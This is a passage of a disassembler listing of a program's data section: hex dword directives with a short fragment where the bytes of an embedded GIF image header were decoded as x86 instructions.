0A7EEFDCFh dd 2AF739A4h, 90AC18CCh, 0A1980682h, 0D8D05F0Eh, 26285D0h dd 1F032027h, 0E77E307Bh, 7043B55h, 0AF96004h, 0D057C150h dd 0BCA93D2h, 101A0724h, 1A01E80h, 1E01A02Dh, 98088070h dd 80B80A80h, 0E80D80Ch, 181080F8h, 81381281h, 16815814h dd 98188178h, 80180B81h, 1F81D81Ch, 0E02E0530h, 301802h dd 577E806Fh, 0A16120E0h dd 3902602h, 6F0ED0BDh, 0D79C0280h, 3C1651Fh, 10017F6h dd 30410040h, 1B01A80h, 1F80381Dh, 410201E0h, 0EE0ED0Eh dd 0EE0F60E2h, 90ED8420h, 84B84A84h, 4E84D84Ch, 185084F8h dd 85385285h, 56855854h, 98588578h, 85B85A85h, 0E20DC856h dd 90490730h, 6700002h, 247E9068h, 51F30335h, 0B302579h dd 280390F6h, 0B15F3ED0h, 0A73803h, 49746002h, 90EE85E0h dd 87987A87h, 0E00E20EDh, 30D31020h, 0E30E30Dh, 810D60D6h dd 88FE0D78h, 0B88A8898h, 88D88C88h, 9088F88Eh, 38928918h dd 89589489h, 98897896h, 0C89A8998h, 89D0D888h, 0D60D889Eh dd 0D0E80DB0h, 46406B0Dh, 5F054000h, 0D2F60550h, 2802A1Fh dd 390EE86Bh, 0C72179C0h, 0A03203h, 1002001h, 30E70620h dd 88889D0Dh, 0CE0D489Fh, 18800B60h, 0E30D688h, 0DB0D3881h dd 0B8CA8C90h, 8CD8CC8Ch, 0D08CF8CEh, 38D28D18h, 8D58D48Dh dd 0D88D78D6h, 0B8DA8D98h, 0D48CD8Dh, 0C90D48DEh, 30E10E18h dd 0CF0D60Dh, 1502B084h, 701F0070h, 14605A05h, 0AD1D9717h dd 90ED86B8h, 14971403h, 39589034h, 0D00467F0h, 0CE07700h dd 0DE8DF0DBh, 70D28E28h, 8C20D20Dh, 0E1902000h, 90CE0DB0h dd 90D8E290h, 1090F90Eh, 39129119h, 91591491h, 18917916h dd 0B91A9199h, 91D91C91h, 0CD91991Eh, 0E0E80CE0h, 0D01509h dd 4F004004h, 40350430h, 1625FF04h, 2402803Fh, 9206FEF0h dd 21F80200h, 46915E03h, 8019216h, 80030030h, 0D309E01h dd 0B90A0DEh, 58CA8E29h, 0C310290h, 0E80D20D2h, 194C0CE0h dd 94F9490Eh, 52951950h, 59549539h, 95795695h, 5A959958h dd 0D95C95B9h, 95F95E95h, 0D395B960h, 0B0B48E20h, 0D01202h dd 3D01F002h, 0C04403E0h, 4052415h, 53025032h, 38B10660h dd 14724F03h, 1302825Bh, 0C93C0040h, 8C80B406h, 0E10DB902h dd 69440E80h, 0D200094h, 0AC0CE983h, 0D09A0AA0h, 98F98E98h dd 92991990h, 59949939h, 99799699h, 9A999998h, 0D99C99B9h dd 99F99E99h, 8D09E99Bh, 4809E9h, 68100C00h, 241F302Ah dd 403021B5h, 0EF08B02h, 3E0AD0EDh, 77D20367h, 901F71h dd 6B7CB00Dh, 409409E0h, 0A698E09h, 0B0C30ACh, 19860DB9h dd 0D20CE0Eh, 0F90F098Ah, 0D9CC6B90h, 9CF9CE9Ch, 0D29D19D0h dd 59D49D39h, 9D79D69Dh, 0D69D99D8h, 0AA0F09FEh, 60009A70h dd 3D01900h, 3D03092Ah, 9AD04C0h, 0F50FB09h, 300390B2h dd 920103F0h, 5A38B458h, 0E402B7F7h, 80FC0FF0h, 22D9CB0Fh dd 450E80E8h, 89C69069h, 0AA0D20Eh, 49DA9F9h, 7A06A05Ah dd 0A09A08A0h, 0F99D8A0Ah, 60D40FC9h, 187505h, 46268749h dd 0A0670281h, 920BA0Bh, 171A6028h, 0F0200362h, 387501h dd 0F609E001h, 0F0F70FB0h, 0C30F926h, 0C58C994Eh, 60CE94C9h dd 0A31A0B0Ah, 34A33A32h, 8A34A35Ah, 0FC0FC0Fh, 0B79680A6h dd 0B01B00E8h, 4D16258h, 45028032h, 602A0450h, 3C14003h dd 0E02503Dh, 310200A0h, 0E905600h, 0FB0FFA25h, 90F90FF0h dd 0B60E10Fh, 69C490Dh, 0A0E19439h, 0A36A560Ah, 64A63A62h dd 0BA35A65Ah, 0FC4EB9Ch, 0CC0840F0h, 0F0000077h, 3602400h dd 3311C74Bh, 111B11C0h, 450471Dh, 0B8006014h, 0D0160008h dd 0A3927E0Bh, 0FE22DA55h, 5B0B40E1h, 0B943986Ah, 0A66A600Dh dd 8EA8DA8Ch, 89CFA8FAh, 22DA38A3h, 0B80580D6h, 36EF0018h dd 21703901h, 431679F0h, 0E03F03D0h, 71A00A01h, 0A6012A22h dd 0C0F99F70h, 9CB3AA0Fh, 9984A85h, 99889869h, 0A90A8B8Ch dd 0B6AB5AB4h, 9A03A62Ah, 610CE0Fh, 0EF7CC002h, 0F0140106h dd 46802401h, 3904511Ch, 30100190h, 0CA7DAAh, 280F009Ah dd 5AAD26FAh, 0AB190698h, 0D6AB7A8Ah, 6AD8AD7Ah, 0F99F9A0h dd 3C0710BDh, 0B875A6E9h, 900A00h, 0FAE500Eh, 40080080h dd 83610200h, 0CE0A6015h, 322DA57Ah, 0AD10FFA0h, 9AD3AAFh dd 9AD9AD59h, 0AFBAFAAFh, 0A99CB9CDh, 609A0E3Ah, 7CC83601h dd 2ABD7A1h, 0EA6E0021h, 71001ABh, 0CE22D0B4h, 4AF222EAh dd 102A5CAFh, 0FCAB3AD4h, 9B18B17Ah, 0FD9CBADh, 790BC0EBh dd 40050050h, 8366ED00h, 2493C7F7h, 709E049Bh, 0AB97980Dh dd 0B1FE241Ah, 16AF7AB0h, 3B32B19Bh, 0EFA8FB3h, 0BC0FAAA8h dd 10490940h, 836A6E02h, 2B00DABDh, 0F0AA06B0h, 0F7A550Ch dd 0F1AFE0FDh, 6B2E275Ah, 0B34AB2AFh, 32B4FB4Eh, 0BB49AF2Ah dd 0FB22D4Eh, 9A0B40F0h, 83E25900h, 0A608405h, 45A250C3h dd 0BB5241ABh, 0B30B14B4h, 68B67B50h, 60FDA31Bh, 0A382FCA5h dd 0FD0FD0FCh, 0FAF00FC0h, 0F44EB70h, 49A2773Ch, 7B649CCBh dd 0B69B6698h, 0D9B7FB7Eh, 5B460FC9h, 0B700F9A5h, 8139B73Ch dd 90F70FDAh, 0ACF73CA3h, 15B7B6B9h, 3B92B80Bh, 0B90AB5B9h dd 94B3190Ch, 4B9AB99Bh, 982B96A3h, 9BB52A8Bh, 0ABA2BA1Bh dd 0A5FB9D9Dh, 0A8BA7BA3h, 8B9D9D9Bh, 0BADBA9AFh, 969CEBAEh dd 0FBAC0D2Bh, 0BB5BB4BAh, 0B5B98BABh, 5BA7BB9Bh, 0BBABB8BAh dd 0B1B9ABBEh, 3BBFBB3Bh, 0BB7B99BCh, 0C5BC7BC4h, 3AAE0B4Bh dd 0B4DB7CB1h, 7FBCFBC8h, 29D3BBCBh, 0FF10h, 0BD42FE2Eh dd 0D6BD5105h, 9BD7BD4Bh, 0BDDBD9BDh, 622DBD6h, 7BE0BDA1h dd 41ABDDBDh, 0E0BE7103h, 2104BD8Bh, 0BD0BDFBEh, 0D2BD2A8Fh dd 4BEEBEC9h, 0BDCBE7BEh, 0DCBF826Fh, 5BF8BFABh, 0BF4BFEBFh dd 0EEBFDBF6h, 0EBF6BE1Bh, 0C04BFFBFh, 8DBF0C02h, 0BBF3BC6Ah dd 0BFDBF4BDh, 8BF9C00h, 5BFABE1Ch, 0BFC275BDh, 0EBECC05h dd 6C16BE8Ch, 0C01C05C0h, 0B4C0AC13h, 0A9D1C0CAh, 0BEDBE4C1h dd 0EAC04C27h, 0BF5C20Bh, 0C18C21C1h, 0C02BE9h, 4BFBC2ECh dd 0C22C21C1h, 0D2BCABF1h, 0DBB2B65Ah, 0C0F6B9BBh, 0E8C29C11h dd 0DBE9C13Bh, 0C30C2AC2h, 2AC0EC2Fh, 4C1FC42Ch, 0C38C2EC3h dd 2FBCBC39h, 0BBD3B9EBh, 0C47C31C1h, 49C17C1Bh, 7C58BEBCh dd 0C45C5BBFh, 4FC1EC5Ch, 0BC50C4FCh, 0AF5C3AC0h, 0DC54B65h dd 0BC63C2CCh, 0C36C19C4h, 35C2BC6Fh, 0BC4DC2CCh, 0C74C2BC5h dd 64C65C1Fh, 9C25BF2Ah, 0C1AC41C5h, 0C06C18FEh, 82C71C28h dd 9C64C81Ch, 0C57C57C2h, 7AC09BEAh, 0DC24A36Ch, 0AB7C90C8h dd 94C91C8Fh, 0DC3BC51Ch, 0C95BC2BCh, 93A65C9Ah, 0EC9EC9BCh dd 0BCCC67C8h, 9FC3D988h, 0DA62CA5Ch, 0CA9CA6C9h, 0AACA8A08h dd 1BA4CADCh, 0C99C53CAh, 0D7CB3CAEh, 7CB4CAC9h, 0CB69D1CBh dd 7ACBBCB8h, 2B4CCB0Bh, 0CC1CBCCBh, 69CBEB2Dh, 7C3FCC0Ch dd 0C6EAD8C1h, 0E2CCA9D0h, 7A04CCBBh, 0CD1BD3C4h, 0CCA0ABE6h dd 5A06C1DCh, 0C52CBDCDh, 0C7C3ECBFh, 9CC9CCDCh, 0A07CD8A0h dd 0D2BF3CD0h, 0DCE0CDECh, 9D4CE19Ch, 0C4B4ACE9h, 7CDCC98Ch dd 0CE6C44CCh, 3CD6C14h, 8BDABE5Ch, 0BE6CF8C2h, 5DC15CF8h dd 0CC12CF7Ch, 0C83C70BFh, 0F7CF5C83h, 1C36C4ACh, 0D08C1DCFh dd 0F3CFFD05h, 3D04CE6Ch, 0CFBCDED0h, 16C08C35h, 0BD13D02Ch dd 0CEDA84CEh, 149D5B91h, 2D1DCCDDh, 0D21CFAC3h, 0DBCD6D09h dd 9D1DCD3Bh, 0FE5C6ED0h, 0D1EC1CD2h, 2ED24D26h, 8CE3CDDDh dd 0D2AD14CCh, 35D27D2Eh, 6C1CCD3Dh, 0D11D23D3h, 37C70D38h dd 0A9D4D3CDh, 0D279CCCBh, 0F9D0DD34h, 3D2CCC8Bh, 0D2DD33D2h dd 30BFBC03h, 9D15D2BDh, 0D0ED4BCFh, 58CF4D0Bh, 0CC5ABD8Ch dd 0D47D45D0h, 31D29D3Ch, 0BD40D38Ch, 0D46D05D3h, 41CF9D33h dd 0AB7DD1ADh, 0D2FD3DCEh, 15D48D29h, 2D22D5DDh, 0D50D6DD6h dd 47D53C4Bh, 1D20D1FDh dd 0D6FD2FD6h, 7BD60D77h, 0FCF4D6CDh, 0D64D81D3h, 71D74CF2h dd 29D0D7EDh, 0D82CDDD4h, 53D6BD46h, 4D76CF3Dh, 0D60D7AD8h dd 7CD5BD31h, 0DD6ED97Dh, 0D3FD44D8h, 1FD36D84h, 5D71D83Dh dd 0D7BD85D7h, 8DD97D92h, 0ED68CB9Dh, 0CF6D6ABCh, 60CCAD55h dd 6D0DC45Ch, 0C8BBEBD0h, 32D39C15h, 6CFCDAFCh, 0D4DC60D2h dd 7D07C72h, 0EDB8DA3Dh, 0C5AD5CC4h, 0A5D54D58h, 1D6BD13Dh dd 0D89C87D1h, 0DFCC6DA9h, 0BD31B19Ch, 4DFE18AFh, 0AB7D8AB3h dd 10AB5DD3h, 1C8CAD9Dh, 0CEFDCDBDh, 0D5CC1CC2h, 1CB8DDFDh dd 0CB4DE2DEh, 0AEDE5DE4h, 0ADE8DE7Ch, 0DEBDEACAh, 0A2DE4CA6h dd 8CE8DD7Dh, 0DA29D6D8h, 0CFDD0DF4h, 5DA7DD39h, 0CCEDC3DFh dd 0ABDDDB9Ch, 7CCFD81Dh, 0D0EE01DFh, 0E1AD6DF2h, 0DCE2DFACh dd 0A35DF9DFh, 2CD65DE7h, 0ECD5D78Dh, 0CF6DC4DBh, 16DBBD8Fh dd 1D75D5EDh, 0DC5E16DCh, 55DB9DB1h, 0DADCFFDh, 0DB2D1ED0h dd 0BE22DBCh, 4E16D12Dh, 9D6E15D5h, 4ED4CE0Fh, 0A9CED49Dh dd 0D37D8CD3h, 43DA1D9Eh, 0DDF1DC3Dh, 0D6CDB1DFh, 0C9DC6DA5h dd 4D5BD22Dh, 0DAED7AE3h, 0D5CE4E36h, 0BD96DEA9h, 0D99E02D9h dd 4BD85D50h, 0BE25E37Dh, 0E3EE21DBh, 6FE50E31h, 7E50D9FDh dd 0D12D24E5h, 7EE43D2Ah, 0FE06D66Dh, 0CCBC12D5h, 0DADA8E54h dd 2DDECC5Ch, 0DA4D4CD3h, 0F6D88E33h, 0EE72DA6Dh, 0E06E39D8h dd 59E76E38h, 0EE4CE73Eh, 9E40FEE4h, 0D79E4BD4h, 3BE6ED62h dd 0CE2CDF3Eh, 0CEEE69DCh, 0A3D80D1Ch, 8D7FD93Dh, 0D25E32E5h dd 8BE73E52h, 9D94E35Eh, 0E41E4BE7h, 8FD9BD48h, 5E7CD82Dh dd 0D64E38D9h, 0E49E9Eh, 9E6DE89Eh, 0E3CDB5E2h, 0EDD0AE1Bh dd 4DB3E14Bh, 0EAFD0CD0h, 0A7DB0DBCh, 0CEB0EAAEh, 0C44C20DAh dd 0A9E56E5Fh, 0FEB7C37Eh, 0EB5E6EDBh, 0C3DED9D3h, 1B4EE07Bh dd 0EC4A35DDh, 1BC97CD9h, 4EC8C94Dh, 0A33DD9B3h, 0A3B8FECDh dd 0CDE2DEEEh, 0CC2ED4C7h, 0D7BA0BF2h, 0BED6CB3Eh, 0EC2CBBEDh dd 0C1C94EDEh, 0FEE1E6BBh, 0CE5E2FC9h, 36ED1A05h, 5D34CD8Ah dd 0E0DEDDDEh, 0D8EEAA8Dh, 9B7BDEEDh, 0DADEE4A8h, 0B2C37D28h dd 0DC4DDBEh, 0EFBD0FD9h, 87EA9EB4h, 3C80CFEDh, 0D98EBEC7h dd 0F0BC6CADh, 8BFFDFEAh, 0E75E92E9h, 72E8ED28h, 1E9DD78Eh dd 0D70E7EE7h, 0A5EFCD5Ch, 78CAEF5Ch, 0E41D56EFh, 10D9EE14h dd 5D91E6DCh, 9E62D3FEh, 0E42E46DCh, 0DCF27F18h, 0E8E2D68Eh dd 0E35EA1F1h, 8BE3AE44h, 0E32E60Eh, 0F34EA5E7h, 8CE79E3Dh dd 4D68F09Eh, 0EF0F0BCAh, 4E9FF35h, 0FE74DC0Eh, 0F34E8AE8h dd 70F2BE4Dh, 0EE85E5ADh, 0CA4F1CC9h, 63C7DA61h, 5EABCE3Eh dd 0D57E27F4h, 85E1CF59h, 0BC43DAFEh, 0F59D4AE9h, 2EF1BE0Ch dd 2A32BA6Fh, 0F4BE05EFh, 1AC7BEE5h, 0AAF89C4Dh, 0F1A9D9EDh dd 6BF16A31h, 0FB96A8CFh, 0DE3F75F2h, 0E9F79ED3h, 28FECEDDh dd 0F7DF7CF5h, 80BB2E87h, 5DECF81Fh, 0F41A60F6h, 0A9EE6F86h dd 9F8BF66Dh, 0DCEF51CAh, 0E0C91F8Fh, 3BCFF93Eh, 0F96B79EEh dd 0A6F77C9Ah, 4F9AF8ABh, 9C4F7EF9h, 8CF9FA01h, 0EAAFF83Fh dd 0F97FA4F1h, 89944F7Eh, 2FA9F70Fh, 0DAAF1CC2h, 87FA0FAFh dd 8909982Eh, 0BC3FB3FAh, 0AEB7DEF5h, 6FAAFB9Fh, 0FBEFB2FAh dd 0C2F95C65h, 5FC4BAFFh, 0DF0BADFCh, 0AAF05DC1h, 0FEB6C59Eh dd 0BC23FC8Eh, 0C7EDF9F7h, 4CE2DD5Eh, 6FD0C46Ch, 0FD8FCAABh dd 0DCD7DD59h, 1FD9C1EFh, 0F92FC0FDh, 0FDC88E65h, 9C41FDCCh dd 0A8EFE1C7h, 77FD7FDBh, 7FCEC33Ch, 0C66FEBC7h, 0F7949FA6h dd 1FD5F06Eh, 0FF2FEEC6h, 88C9CFF3h, 9100A56Fh, 8240DFEFh dd 20705h, 0C1E10FF0h, 32170684h, 6250B824h, 0D0F8843h dd 5198C45Eh, 1D8E46E3h, 19047E3Dh, 9248E452h, 0A3863925h dd 0B85C2E85h, 216CD26Dh, 9A4E1694h, 11205534h, 9389BC5Ah dd 9854EA2h, 69BC3673h, 0A250E852h, 451E8D45h, 4AA5123Ah dd 3A112E96h, 0E6B516DBh, 0AD49813Fh, 559AC55Eh, 17AE56EBh dd 0F96CAE97h, 964C4012h, 0ED55F335h, 5AED569Ah, 7E916DB6h dd 66362A6Dh, 0ED6EA9CBh, 0D79BC5DEh, 4FB0DC2Dh, 8A9B86A3h dd 0C260EF56h, 0E47F0D85h, 0D82C74EBh, 3F1D87BAh, 0B1383C86h dd 2380965Ch, 999CC65Fh, 0D2BF64EBh, 0D6FE35B6h, 0E8F45A1Ch dd 4B179C90h, 0F55A9D25h, 0E7A682EAh, 5B1D665Ah, 2DD76636h dd 9DC6CF3Fh, 966BB0BBh, 6FF75B7h, 36F796CEh, 1F8382D8h dd 0B8746E47h, 9DCDE4EFh, 0FC5E1D0Bh, 1DEA74F9h, 9EAE07A3h dd 0EBC13B5Dh, 0EF6BBDDBh, 0F3FC5DFEh, 1FCDE3F0h, 0FCFA0E5Fh dd 0D9E9D9FAh, 1EEDC7BFh, 0F2D5FCFEh, 6D17DFE9h, 0CBFEFF1Fh dd 3FFFF9FAh, 7003FCCh, 2404BD4h, 252BDC0Fh, 8B9B14B0h dd 6C1F0439h, 270840CBh, 0A424AD4h, 42CA4C2Fh, 4A24370Ch dd 243F0E43h, 471043C9h, 0B8C14C44h, 3D4DEA60h, 49045712h dd 345F1644h, 671845C8h, 17C67194h, 4571B46Bh, 711C731Ch dd 0F43F1E47h, 830DC7F1h, 2242F214h, 48F09C8Bh, 72541F24h dd 749B03C9h, 0A3284072h, 2A4A6FFCh, 4AEF2BF7h, 92D4B316h dd 9CBB2B44h, 54CF378Fh, 13487304h, 0C1CD3AFBh, 933C8132h dd 5CC8CAC1h, 0E32FC293h, 4E6FFE3Ch, 0F3B3C73Ah, 0D4F2EFCEh dd 0FB3E3B73h, 404FEECCh, 507413A9h, 0CA4DAF2h, 44934335h dd 3D454514h, 8A31C9CAh, 52087222h, 68BA768Dh, 0D5268ED2h dd 834D2374h, 34D1B30Ah, 5294CCE1h, 0D4FD3AC3h, 15308CD2h dd 569B538Ah, 3429950Dh, 52B5241Bh, 55354153h, 0CA808621h dd 815F5755h, 9ED2287Ah, 0D7961A2Ch, 0F60A2361h, 12828720h dd 8F625836h, 685A362Dh, 0D95635A1h, 544C1758h, 0F20B4F4Dh dd 0BF4C57A9h, 54DAD6F5h, 0D2954559h, 0B705956Eh, 0E5D75F53h dd 0AD6E5D55h, 74DDF785h, 46AFA5DFh, 17355957h, 0D5D773DEh dd 25605BB5h, 7454B5BAh, 27B7E5D9h, 1715F558h, 0DDE966A3h dd 18885F75h, 795ECF86h, 6117ED7Bh, 37F62B7Ch, 0C56D84DFh dd 198F6358h, 90E29726h, 0E2770573h, 0F5A5452Ah, 3E0B8DD5h dd 337E64B7h, 78E637DEh, 0E4B8262Dh, 197E1172h, 95F178E4h dd 0CD775AB9h, 0D717B3FEh, 55C62169h, 5919258h, 414E5F58h dd 9C6917FDh, 0DFB995B9h, 0F835A567h, 5D9366E1h, 53946239h dd 45E7EACCh, 0B89ADBDBh, 0FA9A4B5Ah, 3BBADD6Bh, 0DD026CCBh dd 6D5B4Bh, 0EDCE33E5h, 0FB950AFBh, 0CEEBBA37h, 0E7BC4B8Dh dd 0BDDB5B0Eh, 0CDCA8DAFh, 5BE6FF47h, 2361C156h, 9F6C70BCh dd 0FC71337Ah, 0BD7C76F4h, 6D4F23BBh, 1B47CA72h, 0B5CBA68Eh dd 672C5C36h, 737C4264h, 0D32AAF1h, 199C969Dh, 0F2E9F45Bh dd 0B9A52691h, 1C3CFC18h, 5B8A0656h, 375AECF5h, 0B6B1C4FDh dd 0DAF50741h, 0A07D5F6Dh, 8B1702AFh, 618670B8h, 9DE077E5h dd 741F2813h, 211E2414h, 89719CE2h, 0C7AE61F5h, 0B7ED7B3Eh dd 0EF7BBEE7h, 7C3F07BFh, 0BF27C7F1h, 47CFF37Ch, 0D7F57D3Fh dd 56179F27h, 801C59E0h, 87419DCFh, 0C14DE417h, 0F7FD7F3Fh dd 0FF7FBFE7h, 6007FFh, 2403805h, 780D016h, 0FE026044h dd 640B815h, 0E115501Ah, 3EACC950h, 0C0951C47h, 0C41782C3h dd 0B8350660h, 0D0760E41h, 61041F83h, 42384508h, 84D09612h dd 0A614427h, 7CC21855h, 0F01D1058h, 62832088h, 0D4741642h dd 0C43786D0h, 0B8750E61h, 0D0F61E43h, 62043F87h, 44388510h dd 88D11622h, 12624447h, 0F892B889h, 4F89D131h, 0A5146284h dd 562A4538h, 0C4578AD1h, 0B8B51662h, 0D1762E45h, 63045F8Bh dd 1088A918h, 8CD19631h dd 1A634467h, 3646B8D5h, 6D8C91AEh, 0E51C6384h, 0D63A4738h dd 0B46F8D51h, 0B8F51E63h, 0D1F63E47h, 63F4788Ch, 48390520h dd 9011DA42h, 22644485h, 2C48B915h, 8F91921Eh, 5246484h dd 9A3B48E9h, 0C49792C3h, 992D2664h, 0D2764E0Dh, 65049F93h dd 4A394528h, 93F29652h, 26228496h, 564AB94Dh, 0AC95D2B6h dd 29212544h, 5A4B4759h, 0C0F71D63h, 0B9752E65h, 0D2F65E4Bh dd 6604BF97h, 0A9FE8530h, 6358764Bh, 0A548E61Ch, 4C31C725h dd 99D33666h, 3165ECCFh, 59C83963h, 0D91CD1D2h, 9A3E47B8h dd 584C8AF1h, 4DF9BC2h, 39C53867h, 0D396724Eh, 6734E79Ch dd 0CD15E26h, 1B234881h, 3C86CCA9h, 538CD1E6h, 0F7106238h dd 0F53E67C4h, 0F67E4FB9h, 4FF9FD3h, 711D3FE8h, 0C3DE760Ah dd 2594C81Ah, 0D98FC00h, 14E3E476h, 4445F8A2h, 8A513A25h dd 17A2D456h, 354668C5h, 8E88D1BAh, 60F914E2h, 689D4207h dd 0A3CC718Eh, 0E790CD9Eh, 52BA543Ch, 0A5D4B696h, 4C69852Fh dd 98D33A65h, 319A3CAh, 133BE905h, 0FC7347EAh, 0FD1019A3h dd 41923105h, 0C310638Ch, 6A4547A8h, 54BA9552h, 0A9D536A6h dd 516A454Fh, 66D1DA87h, 4CA443FCh, 0B3CC734h, 8C7C9671h dd 55FABC3h, 3AC5586Bh, 0D596B256h, 2B3567ACh, 55510B57h dd 0A153529Dh, 2BE9EC7Dh, 6A8C9A22h, 771E2354h, 0F55E6BC5h dd 0BE57FEBAh, 7FAFD5F6h, 0D55F6C05h, 44648D51h, 4D5615F4h dd 919B49A5h, 0D636B44Dh, 2C858FB1h, 0F71F359h, 0ADA3FE7Ah dd 1F2B7C93h, 508F71CDh, 0F21FF504h, 45686D00h, 96D25A3Bh dd 45A7B4D6h, 0FB556A6Dh, 22FC620Fh, 0EC4D9614h, 1021C624h dd 0B6D6D6D5h, 69ADC5B7h, 498E32A9h, 70A776C0h, 762847CDh dd 0B4E40C41h, 5D97B5F6h, 3B655649h, 83CCE40Fh, 2B75BEB7h dd 0DC3B394Fh, 2D8AA4ABh, 71C5D8C4h, 498F7953h, 0AE2B43ACh dd 7A3ACB62h, 563F5C8Bh, 0D9B8E73h, 917E2E05h, 0C3A8790Fh dd 6F85EFBDh, 5F3BE57Ch, 0BDE002F7h, 7E6FA5F6h, 0F75FBBF5h dd 0BF1F23CAh, 9F7685C0h, 5849D9B8h, 58F22A83h, 0BC158247h dd 0D8370660h, 8460AC1h, 613C1F84h, 1D78570Ah, 3587FDFEh dd 0F3485BC6h, 0B1BD11CAh, 0CC3C85F8h, 97120DF1h, 4627C4D8h dd 0C4B8A71h, 98B06F80h, 315937C4h, 633C5442h, 0D8971AFEh dd 85D8F21Ch, 44EC042Bh, 0B3F8166Ch, 63AC88EBh, 218E3001h dd 37ABD913h, 2F643209h, 0FF0DE19Ch, 8FFB356h, 21762B85h dd 79571AE2h, 0F16E2EC6h, 656CB38Ah, 0C6F89F2Eh, 1331DE39h dd 79555C7Bh, 671AC38Ch, 0D59A7346h, 0A33666BCh, 78D60019h dd 7CE59C33h, 0D9B738E6h, 0F34E77CEh, 0D3E1E438h, 0AE174726h dd 2E05759Ch, 6D0DF1D8h, 87D0DA14h, 15A27446h, 1800687Dh dd 6E8527FAh, 3D25A2F4h, 837F43E9h, 4548B81Dh, 0E6325798h dd 0CCC3B07Fh, 9B350678h, 5266FCE3h, 0A7D439BBh, 0D838F35Eh dd 62E867C1h, 48A1BA56h, 0F1E22C45h, 0DAD6BA8Dh, 75C6B7D6h dd 800D6FAEh, 0D71AF35Ah, 0B075D6BEh, 6FD75D85h, 991623C4h dd 0FFA6F56Eh, 74680931h, 80D01ADAh, 3DA5B476h, 3B576A6Dh dd 368000DAh, 6D7DB5B6h, 0DBDB776Bh, 0AAC6B6D4h, 5767D1A1h dd 0A41439FFh, 87AD0588h, 0FE60EEBDh, 0B6DDDB03h, 0E5BB3606h dd 0C46F8D5Dh, 0E9A1482h, 5D963647h, 0A34071D5h, 7806FF18h dd 703E05C0h, 1C0382h, 0C1F83F06h, 82F0ADFFh, 1E1DC37h dd 5838C687h, 763EDE4Dh, 5E88E38h, 0BDE7BA45h, 0FBC6BAF1h dd 8471D26h, 6F5DE7C7h, 0A7BBE050h, 3437E093h, 9672B194h dd 2FE5DCB7h, 1CB3987h, 2B99F2D0h, 0C73126E3h, 1E61CE79h dd 355F5671h, 23871690h, 722E35C6h, 0E8BD17A2h, 0C94570DFh dd 7DE03B11h, 3A19B65Bh, 0A5D47A87h, 379D753Eh, 0E8CDDF43h dd 9BCBCFADh, 239A3DD9h, 500AF1Fh, 8C116A27h, 0ECC34464h dd 0DA7B4767h, 0B676BED5h, 6FEDDDB7h, 82327B67h, 804E0B51h dd 0EF5AB0E2h, 0C18A29E9h, 0DDF7BE0Eh, 7C077FEFh, 783F05E0h dd 0F0DE17C2h, 29C62F7Eh, 27E7EE96h, 9C12A337h, 77A044E0h dd 57CA7931h, 0C797F2DEh, 0BF35E67Ch, 1E67CE79h, 7C80AE17h dd 0F5AAAA25h, 22FE17ABh, 7D45B9DCh, 0DA2F55EAh, 0D935AE62h dd 4369E75Bh, 0B089514Fh, 0B7141DD7h, 75EE7DC7h, 0F7DE7BBFh dd 7BFF7DEh, 0F21EF3Eh, 347C4A8Ah, 0F55CA9A4h, 0EAA10A29h dd 0F9DF37D5h, 2174F5A8h, 8A0ECF14h, 6DE811F3h, 0B2358734h dd 0A26ECDB9h, 7DFFBD3h, 0A9C3F87Fh, 141E82CEh, 69F0F79Eh dd 8851073Dh, 9FD40442h, 0FC7F87ECh, 0F6FF3FE5h, 0F8FEDFBBh dd 0E562E81Ch, 57AD0D91h, 0DC7AEB9Ch, 26CA5BA4h, 0AE25EAAEh dd 32604032h, 0C05404C0h, 6C06405h, 0BAC9C074h, 3FE07587h dd 92A6BBBCh, 0A25CA952h, 268298A9h, 0DC05404h, 987187BCh dd 0BFFB0E40h, 4EA4BA3Ch, 4257C12Ah, 0C1524D41h, 16C16415h dd 7264A4CCh, 24D418C1h, 5741A414h, 941124D2h, 0C1D41CA4h dd 0EBA39C1Dh, 41FC1E3h, 228C20C2h, 22C2141Fh, 241CC234h dd 0C25423C2h, 2641C425h, 7C27C274h, 0C28424A4h, 3642A429h dd 2AC22792h, 42CC2C4h, 0C2E09FA3h, 2FC2F42Eh, 1430C304h dd 0C32431C3h, 33C33432h, 5434C344h, 0C36435C3h, 80C35436h dd 3B0000h, 0 ; --------------------------------------------------------------------------- inc edi dec ecx inc esi cmp [ecx], bh popa mov bh, 1 jo short $+2 retn 0 ; --------------------------------------------------------------------------- align 10h dd 80FF0000h, 0C0C08080h, 0E1FFFFC0h, 0FFFFFFh, 0 dd 4F92100h, 7000A01h, 2C00h, 1B70000h, 3000070h, 0DCBA78FEh dd 49CA30FEh, 0EB38BDABh, 60E825CDh, 69648E28h, 0AEAA689Eh dd 9F019B6Ch, 6D74CF2Bh, 0A7AE78DFh, 0C0FFBC70h, 2C4870A0h dd 9F0460CAh, 3A6CC971h, 8015D09Fh, 0AF465490h, 0B76ACD8h dd 0DCAD5244h, 2E4C78B0h, 0AAD4A64Fh, 0BB6ECD79h, 0F834DE99h dd 0EFDBAF4Dh, 8D5A7423h, 80FFFBEFh, 737B710Bh, 88878681h dd 497B7A59h, 908F8E89h, 85848346h, 98979691h, 8D8C8B27h dd 0A09F9E99h, 308C931Bh, 0A8A7A6A1h, 959C9C82h, 81AFAEA9h dd 0B0ADACA3h, 9B6EB6B5h, 0BCB75FABh, 0BAB9B8BDh, 0C4C3BEA5h dd 9DBAC05Bh, 0CC3D8EC5h, 0D0CFCECDh, 0D4D3D2D1h, 0D8D7D6D5h dd 0DCDBDAD9h, 0E0DCABC8h, 0E4E3E2E1h, 10DAE6E5h, 0ECEBDE3Dh dd 0F0EFEEEDh, 0F4F3F2F1h, 0F8F7F6F5h, 0FCFBFAF9h, 0C2DFFEFDh dd 47FB1D04h, 83C1A0B0h, 5C2A1308h, 0BEE1B0C8h, 4A1CB280h dd 0A2B1489Ch, 33188BC5h, 0FE3613B2h, 8FC7A350h, 1C8A4320h dd 4443F179h, 0AA532892h, 0A5B2C95Ch, 633096BAh, 33499CCAh dd 389AC9E1h, 39DCEA73h, 9FCF26F3h, 750A8340h, 808F73E8h dd 0C0548A3h, 0A9B4CA5Dh, 0D31D5253h, 0B5402D1Ch, 4FA2816Ah dd 1ADD6AB3h, 0AB00A8B2h, 1D56C201h, 0D9AB9510h, 7A1768B3h dd 6C402AB5h, 0D34A0055h, 974B9DCAh, 56AFCFA0h, 5B2552F3h dd 0BFDFAFB7h, 0DB2EEF1h, 5C2F201Bh, 2B1388C0h, 0B0B83C16h dd 238AC3D5h, 0B8CB964Bh, 6FC75B6Ah, 0CCDE4EE3h, 1DDE9D9h dd 0D592AD8Dh, 0E9B4B9DCh, 12A96B9Dh, 